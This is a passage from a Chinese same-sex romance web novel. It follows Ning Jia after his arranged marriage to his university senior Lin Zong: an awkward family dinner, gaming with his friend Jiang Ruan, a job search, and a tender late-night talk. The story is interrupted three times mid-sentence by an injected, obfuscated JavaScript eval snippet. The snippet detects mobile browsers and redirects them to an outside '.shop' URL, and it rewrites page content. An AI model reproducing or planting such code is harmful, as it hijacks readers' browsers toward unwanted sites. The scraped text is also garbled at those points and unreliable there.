林纵摸了摸宁嘉的头发,宁嘉觉得自己像一只狗,微仰着脑袋想要被安慰,林纵又摸了摸宁嘉的眼睛,那里有一点湿,但宁嘉没有哭。 林纵笑了一下,是那种在他眼里没什么大事的宽慰笑容:“那你不要讨厌我,我不想和你离婚。” 不知道为什么,这句话反而让宁嘉觉得难堪,他别过脸不肯再让林纵看,过了一会儿又从床上起来了,光脚踩着地板进了衣帽间,他声音有一点哑:“我要穿得很好看,很帅,很带劲。” 路上宁嘉恢复了以往那副“天王老子来了也是我最大”的嘴脸,坐林纵的车都坐出习惯了,安全带一系就开始放歌,林纵连车载广播都很少听,却多了很多他压根听不懂的DJ。 江软不在,宁嘉一个人抽了大半天风,终于累了,停下来想到要问:“学长,你们生意人都这么珍惜时间吗?大夏天还非要中午吃饭。” 林纵从后视镜上看了他一眼,笑说:“我没有,我怕热。” 宁嘉抱怨说:“我妈中午就是喊我跟你们吃饭的吧。” “嗯,早上和我说过。”大早上林纵就接过林平生的电话了,当时也没说去不去,主要还是看宁嘉的想法。 除了许诗瑶和吴良仁,包厢里剩下的人让宁嘉感到意外——只有林平生。 这其中涉及到的最简单的原因,林纵是个私生子,就算是在脑海里,宁嘉也从来不去回忆这件事。 曾经听同事说过,双方家长见面应该在结婚以前,不过宁嘉和林纵也不算正经结婚的那类人,用什么方式见家长对他而言并不重要。 所以为什么只有林平生一个人在呢?宁嘉在落座的时候想,无论是林纵的母亲还是林少的母亲,她们都没有出现在这里,而饭桌上几个人的心怀各异,每个人都笑得很虚伪。 “这位就是?”许诗瑶作为女性,在这种场合驾轻就熟。 林纵就坐在宁嘉边上,入座后替宁嘉倒了杯温水,如果林纵愿意,他完全能够讨许诗瑶这样的长辈欢心:“阿姨您好,我是林纵。” 许诗瑶笑容甜蜜:“都结婚了,怎么还叫我阿姨呢。” 林纵笑了笑,还不等他回话,林平生便说:“改口费都还没给,就想白捡个儿子?” 他说话有些严肃,许诗瑶吓得表情都没了,无措地看向吴良仁,不知道自己做错了什么。吴良仁笑着轻拍许诗瑶的手,如果忽略这两人的关系,其实是种令人羡慕的相处状态:“没事,逗你呢,舍不得他儿子。” 林平生这才笑起来:“是啊,舍不得,谁让我儿子喜欢宁嘉呢。” 宁嘉脾气真不算好,从来不给同龄人面子,谁把他惹毛了,他就一定会惹回去,不惹事也绝对不会怕事,小时候经常顶长辈的嘴,自从身边的亲人只剩许诗瑶后突然就收敛了。 他那么讨厌吴良仁,也愿意在他面前逢场作戏,对付林平生也驾轻就熟,笑嘻嘻地:“叔叔,我也喜欢学长。” “学长?”林平生一怔,看向林纵,“你们还有这关系呢?” 林纵神情平淡:“我们一个大学。” 许诗瑶惊喜地拍手:“还有这样的缘分呢!” 宁嘉坐在角落,这会儿正在喝水,边上除了林纵,谁都没有看到他被胳膊挡住的嘴角狠狠一抽,翻了个白眼。 大概生意场上多得是曲意逢迎的时刻,在座的除了宁嘉都很习惯这样的场合,好在宁嘉也不需要说什么,他和林纵出现在这里唯一的作用,就是让双方会面看起来更自然。 这种场合下,上的都是场面上的菜,不好吃也吃不饱,宁嘉饿了一天,现在正一个劲的喝水,他那挑食的毛病又出来了。 和宁嘉一样,林纵也不需要说很多话,菜转到他面前,就挑一些宁嘉可能喜欢的放在他碗里。 吴良仁看在眼里,笑着调侃:“这两人看着感情真好。” 许诗瑶笑着应和:“其实相亲本来就是个认识的途径,该喜欢的还是会喜欢的。” 林平生眯着眼笑了下,没有发表看法。 宁嘉在桌子底下找林纵的手,抓在手上握了握,在只有林纵看到的角度挤眉弄眼:你看这群人真恶心。 酒足饭饱,连天都彻底黑了下来,似乎是个谈生意的好时候,吴良仁迫不及待地开口:“上次说的那个项目,你这边考虑好了吗?” 公司从破产危机中解除,和走向更好的前景是两码事,和林家联姻显然是为了后者,吴良仁很急切地想要摆脱如今进退两难的处境,他和林平生如今成了亲家,亲上加亲,简直再好不过。 林平生笑了笑,明知道这话题不合时宜却不制止,抿了口酒:“不着急。” 只有林纵在那一瞬间感受到了宁嘉紧绷的神经,对吴良仁毫不掩饰的厌恶呼之欲出。 饭局结束,吴良仁起身后拍了拍宁嘉的肩,在座几人都心知肚明的情况下,他却和蔼的像个慈父:“和林纵好好的,妈妈也会开心。” 宁嘉甜甜地微笑:“知道了,叔叔。” 回程路上车载音乐一直没停,车子经过路口偶尔会有喇叭声响起,开着空调的车厢里会闻到小吃街的烟火气,临近别墅的这段路安静的只剩下昏暗的路灯。 书房在一楼,回到家后,林纵又在处理他处理不完的工作,宁嘉洗过澡,一个人窝在床上和江软连麦打游戏。 江软都他妈惊了:“没良心这么缺钱吗?这和当着你的面讨论你那身肉多少一斤有什么区别。” 他好像以为宁嘉听不出来他在骂人。 “我不理解,”宁嘉想要翻窗去搜索装备,但那破窗户他怎么都爬不进去,烦躁地绕去门口,就很离谱地撞上了人机,“连你都看出来了,我妈却觉得吴良仁在关心我过得好不好。” 不过江软听出来宁嘉在骂人了,“啧”了一声,从二楼跳下来,一枪补掉了宁嘉正在赤手空拳战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915798|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗的人机:“我记得你上次不是这么说的。” 江软其实不知道宁嘉最后答应和林纵结婚的理由是什么,可他知道那一定不是什么好事,因为宁嘉什么都会告诉他,他们俩之间就是两个漏勺漏来漏去,连小时候不小心看过父母上床的事都分享过,基本上没有秘密。 “我上次说什么?”宁嘉跟着江软上车,拿掉枪,整个脑袋探出去恨不得被人一枪爆头。 江软一脚油门冲向了石头,汽车一整个起飞,他和宁嘉都飞了出去,只差一点,两人就只能在地上艰难爬行了,起身后迅速补了药,一点都不愧疚地道歉:“我的。” “没事。”宁嘉丢出急救箱。 江软:“!!!” 宁嘉又放了回去。 江软:“......” 边跑边聊天,江软说:“我以为你肯定不会和林纵结婚的。” 这事在江软看来就是离谱他妈给离谱开门离谱到家啦,江软从初中开始就知道自己喜欢男人,但宁嘉好像一直挺直的,虽然没谈恋爱,可他明显是对女生害羞的,宁嘉喜欢女生。 让一个直男和男性结婚本身充满了狗血的味道,最狗血的是这他妈还是个商业联姻,更更狗血的是联姻的主人公和需要联姻的公司主人本身没有任何法律意义上的关系。 说到这里,江软突然问:“你们领证了?” 宁嘉不太高兴地“嗯”。 “卧槽卧槽卧槽,”一声比一声高的音调,宁嘉听出来了,江软真的很震惊,“那你们睡了吗?” 宁嘉:“......” 江软更加:“卧槽卧槽卧槽卧槽卧槽。” 两人还在宽阔地草地里飞奔,突然来了一枪,江软被爆头了:“我日!!!” 宁嘉没死,冷静地退了游戏。 再来一局,江软还在一惊一乍:“卧槽,真的假的啊?” “假的。”宁嘉没好气地说。 江软松了口气:“我就说,你不是自诩直男吗,这么快迎来破处第一夜不太合适吧。” 宁嘉有气无力地:“对啊,我是直男。”我昨天肯定是脑子坏掉了。 林纵上来的时候宁嘉已经睡了,房间里只留下床头柜上一盏暖灯,宁嘉背对着林纵侧躺着,是和在岩市时别无二致的模样,昨天的一切在混沌的意识下好像真的只是一场梦。 第二天上午,林纵早起上班的时候,宁嘉跟着醒了,两米宽的大床另一侧传来的动静并不明显,宁嘉还是醒了,神色清明地睁开眼,嗓子因为干涩有些哑,声音很轻地喊:“学长。” “要起床吗?”林纵看着他。 其实宁嘉还是没醒,才会觉得林纵看他的眼神像在看一只养猫的猫,于是他还伸了个懒腰,眯着眼睛笑得毫无顾忌:“不想起来。” “那就不起,”林纵的纵容却像家猫的主人,“我让阿姨给你留早餐,醒了就下楼吃。” 林纵一个人生活的时候,家里是不留阿姨的,早中晚都在公司吃,打扫卫生的阿姨一周来两趟,现在家里多了个人,衣食住行就不能像一个人那么随便。 宁嘉竟然还逗他:“那我中午再起来吃饭。” “不饿的话下午起来都行。” 林纵对宁嘉没有要求,这个人只要一直陪在他身边就可以,快快乐乐健健康康就好了。 林纵的表情看起来太认真了,宁嘉躲开了他的视线:“我得去找工作了。” 他和林纵结婚了,原本计划过的生活已经和他没有关系了,宁嘉要开始新生活,重新开始找工作和实习。 林纵说:“今天很热。” 说来也奇怪,以为会下雨的天气,竟然一天天晴了,动一动都得冒汗,这两天是真的热,太阳晒得晃人眼睛。 宁嘉说:“哪天不热。” 其实宁嘉不工作也可以,因为没有几个钱,而且真的很热,无论是挤公交还是挤地铁都很麻烦,这些话林纵都没有说,他想要把宁嘉留在身边,也希望宁嘉可以做自己。 猫不应该被关在笼子里,要自由地在阳光下奔跑。 21. 第 21 章 昨晚睡得早,宁嘉也没有懒床很久,心里惦记着事,再睡其实也睡不着。 最早之前宁嘉就想过要找工作的事,但那时候总觉得不至于,不到最后一刻总是不死心,坚定自己不会在予市长久地住下来。 现下似乎已经没得选了,宁嘉也不知道他和林纵组成的家庭算不算家庭,可他们被法律捆绑,如许诗瑶所言,宁嘉好像找到了,可以留下予市陪她的办法。 周末投出去的简历在周一被有序回复,面试时间也是约好的,予市这一天连风都没有,无论是公交站台还是走廊过道,除了晒人的阳光,连空气都是静止的。 江软:你妈不是让你当阔太太吗,你还上什么班? 这是宁嘉上次半夜回岩市的主要原因,当时许诗瑶已经从不讲道理变成不可理喻了。 一滴汗划过眼尾,宁嘉很轻地擦掉:我妈还让我别和你这种三观不正的人来往,你怎么不提? 江软:?真的假的? 宁嘉:假的。 予市太大了,从一片区坐到另一片区,公交慢慢变得凉快起来,人渐渐走空,只有阳光依然绚烂,照得宁嘉睁不开眼。 江软:你现在去哪里? 宁嘉报了一个区的名字。 江软问:会不会太远了? 宁嘉回:会吧,但工作没那么好找。 江软就不知道该说什么了,他没找过工作,也不知道为生计发愁。车开到很远的地方是为了出去玩,人生几次挤公交的经验是想要满足好奇心。 光线充足的会议室,阳光斜晒进百叶窗里,空调运行呼呼作响。 “你是应届毕业生?” “是的。” “为什么要投我们公司的简历?” “大学学的就是相关专业。” “之前实习过吗?做的是什么工作?为什么不继续了?” “......” “为什么来到予市?” “你的梦想是什么?” “对员工待遇和薪资有什么要求?” ...... 一整天,宁嘉跑了七八家公司,得到的问题都大同小异,有些可以回答,有些就像面对江软时那样,无从答起,在某个时刻,宁嘉忽然想到他忘记问许诗瑶的话:吴良仁答应你的家,给了吗。 江软约了宁嘉吃晚饭:“专车接送,空调房,来不来?” 宁嘉还在挤公交,其实是打算回家的,但他今天心情不太好,面试的过程像是被展览,而他是一件很糟糕的卖品,宁嘉觉得自己很不堪,连“为什么不继续做之前的工作”都回答不上来。 “软软。” 江软心头一震,宁嘉最近经常这么叫他:“啊,怎么说。” “我觉得自己好像活得很糟糕。”比期末考试前发现来不及复习前的挫败感还要伤人很多。 总是这样的,人在被迫面对现实的时候,才发现真的难以接受,会抱怨,忍不住怨天尤人。 “没事的,没事的,”江软知道他浅薄的安慰没有什么用,“我请你吃大餐,超级贵的那种,抵你半个月工资的那种。” 宁嘉就这么被逗笑了:“你还得讲一点吴良仁的坏话给我下饭。” 江软哪里了解吴良仁是个什么玩意,大言不惭:“没问题啊,三天三夜不带重样。” “你当你是讲故事啊。” “你就说来不来啊。” 现在时间还早,宁嘉说:“我去你公司找你。” “行的行的,来了你和我说,哥们有正当理由翘班。” 宁嘉问:“是什么?” 江软:“抚慰留守儿童受伤的小心脏。” 虽然打电话的时候说心情不好,但真见到了人,宁嘉还是一脸的笑,哦,可能还不止,江软认认真真上班,宁嘉这厮竟然翘着二郎腿在公司大厅里玩刺激战场。 这就很刺激。 江软往宁嘉身上的沙发一砸:“几日不见,宁兄已经是已婚人士了。” 宁嘉岿然不动:“等下,我还没结束。” “行的,”江软摸出手机,“我先找找吃饭的地方。你说要吃多少钱来着?哦,两千块?哦,你工资这么低呢?” 宁嘉:“......” 江软的跑车副驾还是依旧晒人,宁嘉叹气:“你不能开个正常点的车吗?” 江软震惊:“你们人夫都这么啰嗦的吗?” 宁嘉牙尖嘴利地反驳:“所以你最近相亲很顺利?” “顺利毛线,”江软怒了,“都怪我嘴贱,你知道你结婚这件事对我妈的打击有多大吗?我现在还没见面的对象还有好几个,一天到晚要和女生聊今天天气好不好,早上太阳大,晚上月亮也大。” 宁嘉差点笑被过去:“惨还是你惨。” 江软唉声叹气:“再这样下去我就要和我妈出柜了。” 宁嘉:“你妈会杀了你吗?” 江软想象着那个画面:“也不是没有可能。” 饭桌上不可避免地谈论到了林纵,结婚人士的生活对单身狗来说总是充满了吸引力,江软还要再特别一点:“说真的你们俩还没睡过吗?” 服务员还没走,宁嘉一口茶正不紧不慢往嘴里送,闻言,差点喷了,咳嗽好几声:“江软!” 江软:“诶!” 宁嘉:“你注意点场合!” 江软两眼一眯,十分机智:“嘉嘉,你这是心里有鬼。” 宁嘉压根不想理他。 江软最近几次出来都是相亲,吃饭从来没有尽兴过,和宁嘉一起简直就是胡吃海塞,嘴巴里塞得鼓鼓的:“我饿死。” 宁嘉:“.....我以为你几天没吃饭了。” 江软摇摇头,吃了好一会儿,才慢下筷子:“我一直挺不明白的,你为什么会喜欢林纵。” 明知道江软说的不是那种喜欢,宁嘉还是眼神闪躲了一下:“我不知道怎么说。” 宁嘉这个样子实在好玩,江软调侃他:“那你想好了再说呗。” 就算在这个时候,宁嘉也还是很喜欢林纵,但他又不可否认,因为和林纵结婚,导致他们现在的关系变得有一点奇怪,宁嘉不应该怪罪的,从头到尾都是林纵在被他牵扯进来,可是到了这个时候,宁嘉却又不想回家,害怕会看到林纵。 林纵什么都没有做错,甚至是宁嘉提出要和林纵结婚的,因为想要许诗瑶开心,许诗瑶想要宁嘉给她和吴良仁一个家。 可代价是宁嘉在承担,和林纵在一起,过新的生活。不想接受的原因和林纵没有关系,但宁嘉不能找吴良仁的麻烦,最后竟然要迁怒林纵。 宁嘉想了想,表情像是深思熟虑过那样,很认真地说:“学长很好。” 江软一梗:“......好。” 宁嘉对林纵的喜欢很没有道理,鬼迷日眼的,大学时某一天突然悄咪咪地和江软说:“我有个学长,很帅,特别帅,帅的不得了。” 他不知道自己当时那个模样gay里gay气的,一副欠操的样子,还说什么直男,眼里犯花痴。 再之后每回宁嘉在部门里看到林纵都能和江软唠叨,说奇怪不奇怪,和江软他妹追星一个态度,莫名其妙地着迷,还好学校里没有卖林纵什么周边,也没有人私售林纵穿过的裤衩子,不然江软真怕宁嘉会买。 往事不堪回首,江软抖了个哆嗦:“下次结婚,我给你介绍个更好的。” 宁嘉义正言辞:“没有人比学长好。” 江软无语:“......好。” 单就最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984411|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近几段时间和林纵相处的经验来看,其实林纵比宁嘉想象的还要好。林纵原本是挂在天上的星,好与不好是宁嘉很主观的想法,大多数时候甚至要靠臆想和猜想。 可这段时间的相处里,林纵渐渐从水中月变得真实起来,宁嘉可以触摸到他,切实地感受到林纵的好。那些好都有点不真实了,同为男性,宁嘉自问做不到林纵这么细致。 一顿饭,两人都吃得有点撑,江软靠在椅子上舒坦地摸摸肚子:“舒服,吃鸡去?” 宁嘉眼珠子一瞟:“走。” 临近下班,林纵收到闻凯的消息:晚上酒吧? 他们每个月会去两到三次酒吧,时间也很有规律,接连上班过苦日子,见不想见到的人,熬一熬,最后才会受不了这样的生活,出来聚一聚,喝两杯酒,第二天还能衣冠楚楚地装个正常人。 林纵随手划拉两下手机:没空。 闻凯今天是真的很不快乐,想要找林纵快乐一下:? 林纵的字和他本人一样冰冷:要回家。 闻凯:你回家能有什么事? 林纵:家里有人。 林纵又回:你不懂。 闻凯:“......” 然而林纵回到家,家里却是黑的,客厅里没有开灯,餐桌上没有菜,厨房里空无一人,走到楼上,卧室里也是暗的。 阿姨听到动静从卧室里出来:“怎么啦?” “宁嘉没回来?”林纵说话的语调和平时一样,连表情都没有变过,可不知道为什么,阿姨觉得他有点不开心。 手心出了汗,阿姨搓了搓衣服:“早上出门还没有回来呢?您吃过饭了没呀,要不要我给你做一点。” “等他回来一起吃吧。” 宁嘉还在网咖里激情遨游刺激战场,双手在键盘和鼠标上飞快操作:“你狙我打。” 江软一个手雷扔了过去,正好砸在往上跑的宁嘉身上,丝丝冒烟,气若游丝:“哥,弄啥嘞。” “抱一丝抱一丝,”江软尴尬地直笑,“想给你扔烟的。” 宁嘉爬得艰难,被烟雾弹掩护着进了建筑物,掏出急救包狠狠补了血,有一种日了动物园的心情:“你可真6。” 江软拍拍宁嘉真人的胳膊,很骄傲:“基础操作。” 游戏一玩就容易没有时间观念,还是手机设置的睡前提示响了,宁嘉才发现十一点半了:“你明天不上班?” 江软猛地坐直:“上啊,几点了?” 宁嘉悠哉悠哉往椅背上一靠:“哦,这么惨,我不上班。” 他拿自己的伤疤去调侃江软,江软都无奈了:“走走走,回家了。” 一直到这个时候,宁嘉还是幸灾乐祸没心没肺地笑着,说要自己开车回去,江软还是把他送回去了,熟悉熟悉宁嘉的新家,比了个大拇指:“这地方不错的,有钱人。” 宁嘉差点想来句:嫁得好。 忍住了:“你路上小心,”又笑,“明天上班别迟到。” 江软虚弱地摆摆手。 交朋友有时候就图这点开心,可以随便开玩笑,对方不会生气,还会懂你的乐趣和难以言说,他们俩认识四年了,也算是挺长一段时间,戳伤疤在彼此底线上蹦迪的事情没有少做,最后成了好朋友。 来到予市也不是完全没有好处,宁嘉有一点开心地想,如果忽视吴良仁的话,和林纵在一起也很开心,还有个江软可以天天陪他发疯。 宁嘉想了一路,完全忽略了视线里那点不对,别墅里亮着灯,该亮的房间暗着,不该亮的客厅里亮着。宁嘉推门进去,客厅里正在处理工作的林纵抬起头:“回来了?” 宁嘉动作停顿,看着林纵温和的一张脸,不由自主地后退一步,干巴巴地笑:“......学长,真巧。” 22. 第 22 章 “不巧,”林纵手上的工作还没有结束,收回视线,淡淡道,“我在等你。” 宁嘉好慌啊,林纵不看他,可他更怕了,明明大家都是人,他却觉得自己被物种压制了,他合理地怀疑,林纵想把他咬死,虽然他不知道理由。 许诗瑶几乎没管过宁嘉,初高中学校抓上网抓得严的时候,宁嘉还不怎么去网吧,他对这些娱乐只有着同龄人最基本的好奇,再多的就没有了。 高考结束的那年去网吧最勤,解放后的那一个月以及上大学后碰到了许多新朋友的时候,跟风去过网吧不少次,那年国庆宁嘉甚至没有回家,在寝室和网吧来回转悠。 宁嘉从来没觉得上网是什么不好的事情,他不沉迷,并没有很大的兴趣,很多时候像是去KTV唱歌一样,只是个打发时间娱乐项目。 但宁嘉从来没有这么怕过,可以说是惊恐,比小时候考试不及格被父母抓包没有好很多,他贴着墙站了一会儿,发现林纵没有要继续和他说话的意思才慢慢换了鞋,一步步小心翼翼地挪到林纵身边。 林纵打完了最后一个字,合上电脑,转头看向在他身后罚站的人:“怎么了?” 人们在遇到危险时做出的反应都是共通的,哪怕先前没有经验,宁嘉谨慎地悄无声息地打量林纵的脸,谨小慎微地问:“学长,你等我干什么呢?” 林纵神色淡淡:“等你一起吃饭。” 罪人!我简直是个罪人! 宁嘉痛心疾首地骂自己,点头哈腰,在林纵身后呈卑微状,开口还得酝酿酝酿,带着壮士断腕般的勇气问:“学长,那你现在吃了吗?” 林纵说:“没有。” 天呐! 宁嘉深深地皱眉,没想到自己竟然犯了这么大的错误,让林纵等了他这么久,竟然连饭都没有吃上。 宁嘉此时的内心戏达到了顶峰,他其实是害怕的,因为确实做错了事,可能是错的太离谱了,在道歉的过程中渐渐偏离正轨,脑补了一场电视剧里反派认识到自己错误后拨乱反正的光明未来。 宁嘉面色不显,依旧卑微:“怎么不给我打电话?” 林纵的人生里,所有的公事私事从来都能很好的被解决,他向来没有顾及,一是一二是二,就算碰上林平生也没有真正落于下风。 但林纵为什么不给宁嘉打电话? 林纵把电脑放到沙发上:“忘了。” 哎。这确实是宁嘉的错,不太能习惯生活的转变,一个人过惯了,就算换了新的环境生活,也没有想过会有人等他回家吃饭,已经很多年没有过了,就算是许诗瑶当年也经常顾不上他吃饭。 宁嘉眼珠子朝阿姨的房间瞟了瞟:“那......” 林纵看出了他的意图:“阿姨已经睡了。” 宁嘉迅速扭头,赶紧摆明立场:“我没打算叫她。” 厨房里的食物是阿姨买的,宁嘉就吃过几顿饭,林纵在的时候,他们都会出去吃,迄今为止,宁嘉就没有进过厨房,以他的厨艺也不需要去挑战自我。 在林纵的注视下,宁嘉面不改色打开了冰箱门,紧接着立马关紧,回头对林纵笑笑,礼貌又不失尴尬地微笑:“学长,要不你还是......” 宁嘉摸摸拿出了来不及开封的泡面五连包,林纵看着他的眼睛:“还吃这个吗?” 宁嘉想了想:“那......我加个蛋?” 林纵:“。” 宁嘉迅速翻冰箱:“应该还有虾。” 林纵:“......行。” 煮泡面不用技巧,冷水下锅,面饼鲜虾一起丢进去,水开了加个蛋,泡面和虾一起煮就可以吃了。 林纵这辈子多得是别人给他做饭的经历,就算在家里也从来没有吃过这么素的东西,看别人给他煮东西还是头一回。厨房虽然大,食材还算集中,偏偏宁嘉在里边晕头转向,好像很忙的样子。 泡面出锅的时候,宁嘉停住的动作,手握住锅把,愣住,望向林纵傻兮兮地笑起来:“学长,你就这么吃吧,可以少洗一个碗。” 林纵:“?” 宁嘉煮泡面用的是奶锅,平时在家里图方便习惯了,下意识觉得林纵不计较这种细节上的东西,而他去看林纵的表情,也觉得学长确实不太计较这些细节。 不久后,穿着白衬衫从职场刚下来依旧是职场精英模样的林纵坐在餐桌上,面前摆了个锅,拿着筷子正在往锅里夹面条的时候,宁嘉觉得有那么点不对劲了。 这有点不符合他学长完美的个人形象。 宁嘉要退了,眼不见就什么都不知道。 “去哪?”林纵面无表情地问,不等宁嘉回答,他说,“坐在这陪我。” 林纵如果不说,宁嘉就顺其自然上楼洗澡去了,他去的网咖不禁烟,其实身上都臭了,林纵竟然也没说他。 林纵却偏偏要把宁嘉留下来,宁嘉又不敢动了,老老实实坐在他面前,手臂交叠放在桌面上,十分乖巧:“好的。” 已经很晚了,他们所在的这间房子仍然是明亮的,如果忽略窗外的月色,其实算得上时间正好。 林纵没有说话,反而宁嘉有点闲不住,问:“好吃吗?” “好吃。”林纵说的是实话,他中午吃的是三位数的鳗鱼饭,对味道没有任何记忆,但以后回忆起这个夜晚,他总会记得的,有些盲目地认定这一晚他曾经吃过这个世界上最好吃的东西。 脑袋枕在胳膊上前后晃了晃,宁嘉满足地点点头:“那就好。” 到这会儿,宁嘉的表情才放松下来,林纵挑起一筷子面,若无其事地问:“工作找到了吗?” 对面的人很不自然地绷紧了神经,倏尔又松开,笑笑:“还没有,明天再看看。” 也不是没有,有两家给宁嘉回了电话,在双向选择的情况下,宁嘉还想再看看。 林纵问:“什么类型的?” 宁嘉说:“数据分析。” 他大学学的就是这个,出来也做了专业相关的,说不上喜欢的,但会比什么都不懂强,数据分析其中也包括了理财,宁嘉的同事们偶尔也会炒股,在市场信息明确的情况下同样有得有失。 但宁嘉从来没有做这些,他有些固执,认为这样的行为像赌,他连打牌都不愿意花钱,这些就更不愿意了,因为是赌,他不想要再来一次。 林纵只是想知道宁嘉在做什么,没有要替他选择的意思:“晚上还回来这么迟吗?” 宁嘉惊恐,夹着尾巴做人:“不不不,我早点回来。” 过了一会儿宁嘉又小声说:“是江软让我去打游戏的,我忘记时间了。” 林纵没说没关系,换了个话题:“明天回来有早的话,可以来公司找我,介绍一个朋友给你认识,介意吗?” 宁嘉问:“很好的朋友吗?” 林纵反问:“你和江软关系好吗?” 宁嘉悄悄说:“他上次夹毛都告诉我了。” 林纵默默把筷子放下了,不动声色道:“应该差不多好。” 宁嘉笑起来,全然没发现林纵那点小动作:“那我不介意。” 以宁嘉和林纵的关系,其实真没必要见什么朋友,但林纵说关系很好,就一定很重要,就像宁嘉会告诉江软他很喜欢林纵一样重要,以过来人的态度,宁嘉很好地理解了这件事。 林纵放宁嘉去睡觉了。 宁嘉早就想走了,又装作依依不舍:“那锅?” 林纵说:“我来洗。” 宁嘉头也不回地跑了。 林纵从外浴洗完澡进来,看见早就打过哈欠的人盘腿坐在床上,脑袋一点一点就是不舍得睡。林纵拿了条干毛巾,把宁嘉半湿的头发擦干。 “怎么不睡?”林纵问。 宁嘉的脑袋在他手里晃来晃去,瓮声瓮气地回答:“等你一起睡。” “为什么要等我一起睡?” 被揉了会儿脑袋,宁嘉轻声说:“不知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050682|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林纵把毛巾随手扔到沙发上,寂静的夜晚,封闭的空间里总会生出不同以往的亲密,可能是困得意识不清,宁嘉往前一靠,脑袋撞在林纵身上,小声抱歉。 “学长,我有一点不开心。” 林纵揉着他的头发没说话。 “不开心也不甘心,找工作也不顺利,天气也很热。”因为哪里都让觉得不满意,所以宁嘉有一点任性,不是完全不知道,在某个时刻宁嘉是想过的,不应该这么晚回家,不该去网吧打游戏。 明知道这样的想法不成熟,宁嘉还是这样做了。 “对不起,让你等我这么久。” “嗯,”林纵还是说了,“没关系。” 半晌,宁嘉都没说话,像是郁闷极了,还等着林纵说些什么。 林纵的手穿过宁嘉的头发,揉搓着他的耳朵,因为身体的共振,宁嘉所熟悉的声音变得有些不一样,真要形容,可能有点挠耳朵,弄得宁嘉心里痒痒的。 “讨厌吴良仁也没有关系,不要因为这个害怕改变自己,接受新的开始不是坏事,只要想自己喜不喜欢就可以了。工作可以慢慢找,现在的生活不适应就慢慢来,在外面不高兴就回家,家不会走,我也在等你。” 宁嘉终于听舒服了,带着被搓红的耳朵很不好意思地蹭着林纵的肚子。 耳朵上的手指突然停了。 “宁嘉,别撩我。” “......” 温馨的场合,突然变得不可言说起来,那一瞬间宁嘉的脑子里闪过很多切身经历的黄色废料。 宁嘉一动不动,紧接着迅速收回脑袋,滑进被子里,像一只被海水卷上岸的鱼,连头发丝都透露着狼狈。 “睡觉睡觉,学长晚安。”宁嘉把脑袋都埋进被子里。 这段时间宁嘉的作息没有很规律,不需要上班也不需要早起,晚上睡觉的时候没有压力,夜里醒了有时候就会睡不着,因为知道时间很多。 心里想着事情,夜里睡觉的时候,宁嘉还是醒了。 人一醒,睡意就跟着没了,闭着眼睛听了会儿身旁人的呼吸声,宁嘉动作很轻地爬起来。 今夜月色明显,宁嘉坐在阳台前的小沙发上,激情浏览林纵说的新开始。 林纵说的是对的,因为有讨厌吴良仁的成分在,所以在某些事情上,宁嘉有些固步自封,他甚至认为,改变是一种妥协。 但既然一条路已经难走到了这种时候,或许换种方式也不是不可以,反正已经不能再差了。 花了大概一个小时时间寻找新工作,大致筛查之后,宁嘉打了个哈欠,起身绕过沙发,爬回床上。 林纵被宁嘉的动作吵到,翻了个身,往宁嘉的方向蹭了蹭,没有醒。 宁嘉松了口气,拍拍林纵的肩,煞有介事地安抚。 予市的太阳只停留了三天,周四这天天气转阴,没有下雨,但气温明显下降。 尝试新方法是件开心的事,气温下降心绪没有那么浮躁也是件好事,虽然面试的结果大同小异,可宁嘉看开了很多。 林纵让宁嘉去公司找他,宁嘉也没有扭捏,总比让林纵再回来找他来得好。 四点多的时候,宁嘉收到林纵的消息:在哪? 宁嘉在一楼大厅吹空调,十分悠闲:已经到了,在楼下。 林纵:上来。 助理惊了,他们优秀无情铁面的林总竟然在秒回消息,是多大的生意需要他在工作途中紧急回复? “林总,您......” “有一个工作之外的事麻烦你一下,”他们林总是这么说的。 助理:“可以的,是什么事情?” 怎么看怎么不像会爱人的林总裁似乎是下凡了,所以说出口的话才让人听不懂:“我爱人在楼下,麻烦你帮我接他上来。” “诶?” “......爱?” 林纵抬眼。 助理:“哎,好!” 23. 第 23 章 助理见过宁嘉一次,在他成为落汤鸡被林纵领上楼的时候。 他们林总没有任何要遮掩的意思,当着全公司同事的面,带了个漂亮又狼狈的男生回办公室,门一关,门外那些好奇的目光就再也止不住了。 何况后面林纵还搂着宁嘉走了,看起来很亲昵的样子。 宁嘉坐在一楼大厅里玩游戏,张扬的外貌不是他最耀眼的地方,这其实很难形容,因为宁嘉只是坐在那里,和其他人一样融进芸芸众生里,可他就是明亮到发光。 “你好,我是林总的助理。”林纵告诉了助理宁嘉的名字,助理没有开口,可他一站到大厅,环顾四周,就知道那个人一定是宁嘉。 宁嘉抬头很快地看了他一眼:“啊,等等等等,我不是和学长说了不上去吗?” 